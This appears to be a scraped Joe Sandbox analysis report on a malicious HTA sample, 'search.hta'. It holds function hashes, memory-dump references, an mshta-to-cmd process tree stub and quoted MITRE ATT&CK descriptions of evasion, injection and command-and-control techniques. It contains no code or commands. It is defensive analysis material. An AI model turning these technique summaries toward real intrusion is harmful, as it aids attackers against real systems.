Opcode ID: 5b223496ac11a823b00c2439e2529a17e92fb725b31167a0d82a6968ba3a3aea
Instruction ID: 7d74dbf5d2beb846f38ae8bf43b7caa99628fc0a1b100f94de4931a50dbb60b1
Opcode Fuzzy Hash: 5b223496ac11a823b00c2439e2529a17e92fb725b31167a0d82a6968ba3a3aea
Instruction Fuzzy Hash: 1672D1726087528FC724CF29C8D07AAB7E2FFD9314F198A6DC9868B355D734A845CB81

Function 051C2824 Relevance: .8, Instructions: 758COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2196212949.00000000051C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 051C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_51c1000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3130511a74b44db70336c7a43f72ba1c256f05eb3a65f86c68524e7b622cbf06
Instruction ID: 36a5ac9089045c08705d518035fa3cc9bcb337abdd1537b331864700415198b1
Opcode Fuzzy Hash: 3130511a74b44db70336c7a43f72ba1c256f05eb3a65f86c68524e7b622cbf06
Instruction Fuzzy Hash: 90828C76904229CFCB29CF18D8916D9BBB2FF99310F1645D9D859AB350DB306E85CF80

Function 054ABF10 Relevance: .7, Instructions: 689COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2196410921.00000000054A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 054A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_54a1000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d7651ad7add77a58538b6d4918f10e768337d139a80b90e5b359ca5abe1ec5af
Instruction ID: 81f906fe233fc59633b4c9a6d75172b79ded5196f9e6704ca76463e71e477556
Opcode Fuzzy Hash: d7651ad7add77a58538b6d4918f10e768337d139a80b90e5b359ca5abe1ec5af
Instruction Fuzzy Hash: D4620677E0062A8FCB14CF58DC406E9B7B2BF98314F1A859AD85AA7384D734AD45CF80

Function 054A4A90 Relevance: .7, Instructions: 658COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2196410921.00000000054A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 054A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_54a1000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: caf2f7bac3d03cdcfb31d624c43329714c7c8ecd430dd99829e07db7e93a10c0
Instruction ID: d1ffed1ee0a97e1638386ceeaf9f0d491d1701b8a5b805afa9bd0bf3aa050ee1
Opcode Fuzzy Hash: caf2f7bac3d03cdcfb31d624c43329714c7c8ecd430dd99829e07db7e93a10c0
Instruction Fuzzy Hash: BC520673A087518FD728CF28C88079AB7E2FFD8314F594A6DD8969B345D734A805CB82

Function 054B1380 Relevance: .1, Instructions: 135COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2196410921.00000000054A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 054A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_54a1000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3bc53b67c9623041cf8dba62f0f2f9ccf3071f8246ac75bcd002fb0a230acffe
Instruction ID: 94b64e1ff343eb39ab0e9ec5f369669dd64ea5fda291416de28a62f580cdd699
Opcode Fuzzy Hash: 3bc53b67c9623041cf8dba62f0f2f9ccf3071f8246ac75bcd002fb0a230acffe
Instruction Fuzzy Hash: 27518AB150C3418BC714CF29C89159BBBF2BBC8354F549A5EE9DA9B350D770E902CBA2

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: `rundll32.exe {DLLname, DLLfunction}` ).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report search.hta

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTPS Proxied Packets

Statistics

CPU Usage

Memory Usage

High Level Behavior Distribution

back

Behavior

System Behavior

Analysis Process: mshta.exePID: 7372, Parent PID: 1800

General

Chronological Activities

Analysis Process: cmd.exePID: 7572, Parent PID: 7372

General

Windows Analysis Report
search.hta

Function 051C3510 Relevance: 6.9, APIs: 4, Instructions: 890
memoryCOMMON

Function 054A7D70 Relevance: 5.6, Strings: 1, Instructions: 4335
COMMON

Function 054B04E0 Relevance: 2.5, APIs: 1, Instructions: 951
fileCOMMON

Function 054A6E36 Relevance: 1.7, APIs: 1, Instructions: 219
memoryCOMMON

Function 054B30AA Relevance: 1.7, APIs: 1, Instructions: 207
nativethreadCOMMON

Function 054A3D9F Relevance: 1.4, APIs: 1, Instructions: 197
COMMON

Function 030E186E Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 131
memoryCOMMON

Function 030E1971 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 94
memoryCOMMON

Function 030E19A1 Relevance: 1.6, APIs: 1, Instructions: 81
memoryCOMMON

Function 054A46EB Relevance: 1.6, APIs: 1, Instructions: 60
COMMON

Function 030E1BE9 Relevance: 1.3, APIs: 1, Instructions: 88
memoryCOMMON

Function 051C8DDC Relevance: 11.0, Strings: 7, Instructions: 2263
COMMON